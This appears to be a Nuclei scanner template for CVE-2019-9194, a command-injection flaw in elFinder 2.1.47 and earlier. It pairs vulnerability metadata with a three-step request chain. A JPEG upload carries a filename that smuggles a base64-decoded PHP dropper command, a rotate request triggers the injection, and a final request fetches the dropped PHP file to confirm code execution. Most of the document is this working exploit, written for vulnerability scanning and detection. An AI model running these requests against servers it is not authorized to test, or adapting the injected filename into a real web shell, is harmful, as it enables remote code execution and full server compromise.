id: CVE-2019-9194

info:
  name: elFinder <= 2.1.47 - Command Injection
  author: r00tuser111
  severity: critical
  description: |
    elFinder before 2.1.48 has a command injection vulnerability in the PHP connector.
    The vulnerability occurs when performing image operations on JPEG files, where the filename
    is passed to the `exiftran` utility without proper sanitization, allowing command injection.
  impact: |
    Attackers can execute arbitrary system commands via command injection during JPEG image processing operations, leading to complete server compromise.
  remediation: |
    Upgrade to elFinder version 2.1.48 or later.
  reference:
    - https://www.exploit-db.com/exploits/46481
    - https://www.exploit-db.com/exploits/46539/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9194
    - https://github.com/cved-sources/cve-2019-9194
    - https://github.com/Studio-42/elFinder/releases/tag/2.1.48
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9194
    cwe-id: CWE-78
    epss-score: 0.96669
    epss-percentile: 0.99878
  metadata:
    verified: true
    max-request: 3
    vendor: studio-42
    product: elfinder
    shodan-query: 'http.title:"elfinder"'
  tags: cve,cve2019,elfinder,rce,intrusive,file-upload,vkev,vuln

variables:
  rand_string: '{{to_lower(rand_text_alpha(6))}}'
  file_name: '{{to_lower(rand_text_alpha(6))}}'
  php_cmd: "<?php echo md5('{{file_name}}');unlink(__FILE__);?>"
  payload: "{{rand_string}}.jpeg;echo {{base64(php_cmd)}} | base64 -d > {{file_name}}.php;echo {{rand_string}}.jpeg"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /php/connector.minimal.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="cmd"

        upload
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="target"

        l1_Lw
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="upload[]"; filename="{{payload}}"
        Content-Type: image/jpeg

        {{hex_decode("ffd8ffe000104a46494600010101006000600000ffed003850686f746f73686f7020332e30003842494d040400000000001c1c027400101c020000020004fffe003b43524541544f523a2067642d6a7065672076312e3020287573696e6720494a47204a50454720763830292c207175616c697479203d2038320affdb0043000604040504040605050506060607090e0909080809120d0d0a0e1512161615121414171a211c17181f1914141d271d1f2223252525161c292c28242b21242524ffdb00430106060609080911090911241814182424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424242424ffc000110800c0010603012200021101031101ffc4001f")}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    extractors:
      - type: json
        part: body
        name: hash
        internal: true
        json:
          - '.added[0].hash'

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'added', 'hash')"
        internal: true

  - raw:
      - |
        GET /php/connector.minimal.php?target={{hash}}&degree=180&mode=rotate&cmd=resize HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(content_type, 'application/json')"
        condition: and
        internal: true

  - raw:
      - |
        GET /php/{{file_name}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{md5(file_name)}}")'
# digest: 4a0a0047304502205f5d9a14b3ef64ea90399af7d4dca0f91159d0338d65d20d60e1b8a3af88ac7c022100e93b3860d648b6d4cb3f8286120a8b64046247e183fb0b2a57f015b6096d814f:922c64590222798bb761d5b6d8e72950